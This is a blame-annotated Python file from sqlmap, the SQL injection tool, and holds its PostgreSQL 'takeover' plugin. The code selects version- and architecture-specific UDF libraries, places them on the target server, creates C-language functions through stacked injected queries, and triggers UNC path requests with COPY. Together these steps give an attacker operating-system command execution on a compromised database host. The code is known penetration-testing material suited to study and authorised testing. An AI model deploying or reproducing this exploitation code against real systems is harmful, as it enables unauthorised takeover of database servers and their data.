2013-02-14 15:32:17 +04:00
#!/usr/bin/env python
2010-03-23 01:57:57 +03:00
"""
2017-01-02 16:19:18 +03:00
Copyright ( c ) 2006 - 2017 sqlmap developers ( http : / / sqlmap . org / )
2017-10-11 15:50:46 +03:00
See the file ' LICENSE ' for copying permission
2010-03-23 01:57:57 +03:00
"""
2014-11-03 10:31:50 +03:00
import os
2011-04-23 20:25:09 +04:00
from lib . core . common import Backend
2014-12-18 01:07:27 +03:00
from lib . core . common import checkFile
2014-12-14 02:10:43 +03:00
from lib . core . common import decloakToTemp
2010-03-23 01:57:57 +03:00
from lib . core . common import randomStr
from lib . core . data import kb
from lib . core . data import logger
from lib . core . data import paths
2011-04-23 20:25:09 +04:00
from lib . core . enums import OS
2014-12-18 01:07:27 +03:00
from lib . core . exception import SqlmapSystemException
2012-12-06 17:14:19 +04:00
from lib . core . exception import SqlmapUnsupportedFeatureException
2010-03-23 01:57:57 +03:00
from lib . request import inject
from plugins . generic . takeover import Takeover as GenericTakeover
class Takeover ( GenericTakeover ) :
def __init__ ( self ) :
GenericTakeover . __init__ ( self )
def udfSetRemotePath ( self ) :
# On Windows
2011-04-23 20:25:09 +04:00
if Backend . isOs ( OS . WINDOWS ) :
2010-03-23 01:57:57 +03:00
# The DLL can be in any folder where postgres user has
# read/write/execute access is valid
# NOTE: by not specifing any path, it will save into the
# data directory, on PostgreSQL 8.3 it is
# C:\Program Files\PostgreSQL\8.3\data.
self . udfRemoteFile = " %s . %s " % ( self . udfSharedLibName , self . udfSharedLibExt )
# On Linux
else :
# The SO can be in any folder where postgres user has
# read/write/execute access is valid
self . udfRemoteFile = " /tmp/ %s . %s " % ( self . udfSharedLibName , self . udfSharedLibExt )
def udfSetLocalPaths ( self ) :
2011-04-25 03:01:21 +04:00
self . udfLocalFile = paths . SQLMAP_UDF_PATH
2010-03-23 01:57:57 +03:00
self . udfSharedLibName = " libs %s " % randomStr ( lowercase = True )
self . getVersionFromBanner ( )
banVer = kb . bannerFp [ " dbmsVersion " ]
2016-01-26 09:32:47 +03:00
if banVer > = " 9.4 " :
majorVer = " 9.4 "
elif banVer > = " 9.3 " :
majorVer = " 9.3 "
elif banVer > = " 9.2 " :
majorVer = " 9.2 "
elif banVer > = " 9.1 " :
2014-01-13 21:24:49 +04:00
majorVer = " 9.1 "
elif banVer > = " 9.0 " :
2011-04-12 02:02:00 +04:00
majorVer = " 9.0 "
elif banVer > = " 8.4 " :
2010-03-23 01:57:57 +03:00
majorVer = " 8.4 "
elif banVer > = " 8.3 " :
majorVer = " 8.3 "
elif banVer > = " 8.2 " :
majorVer = " 8.2 "
else :
errMsg = " unsupported feature on versions of PostgreSQL before 8.2 "
2013-01-04 02:20:55 +04:00
raise SqlmapUnsupportedFeatureException ( errMsg )
2010-03-23 01:57:57 +03:00
2014-12-18 01:07:27 +03:00
try :
if Backend . isOs ( OS . WINDOWS ) :
_ = os . path . join ( self . udfLocalFile , " postgresql " , " windows " , " %d " % Backend . getArch ( ) , majorVer , " lib_postgresqludf_sys.dll_ " )
checkFile ( _ )
self . udfLocalFile = decloakToTemp ( _ )
self . udfSharedLibExt = " dll "
else :
_ = os . path . join ( self . udfLocalFile , " postgresql " , " linux " , " %d " % Backend . getArch ( ) , majorVer , " lib_postgresqludf_sys.so_ " )
checkFile ( _ )
self . udfLocalFile = decloakToTemp ( _ )
self . udfSharedLibExt = " so "
except SqlmapSystemException :
errMsg = " unsupported feature on PostgreSQL %s ( %s -bit) " % ( majorVer , Backend . getArch ( ) )
raise SqlmapUnsupportedFeatureException ( errMsg )
2010-03-23 01:57:57 +03:00
def udfCreateFromSharedLib ( self , udf , inpRet ) :
if udf in self . udfToCreate :
logger . info ( " creating UDF ' %s ' from the binary UDF file " % udf )
inp = " , " . join ( i for i in inpRet [ " input " ] )
ret = inpRet [ " return " ]
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
2011-03-08 13:46:23 +03:00
inject . goStacked ( " DROP FUNCTION %s ( %s ) " % ( udf , inp ) )
2010-03-23 01:57:57 +03:00
inject . goStacked ( " CREATE OR REPLACE FUNCTION %s ( %s ) RETURNS %s AS ' %s ' , ' %s ' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE " % ( udf , inp , ret , self . udfRemoteFile , udf ) )
self . createdUdf . add ( udf )
else :
logger . debug ( " keeping existing UDF ' %s ' as requested " % udf )
def uncPathRequest ( self ) :
self . createSupportTbl ( self . fileTblName , self . tblField , " text " )
inject . goStacked ( " COPY %s ( %s ) FROM ' %s ' " % ( self . fileTblName , self . tblField , self . uncPath ) , silent = True )
self . cleanup ( onlyFileTbl = True )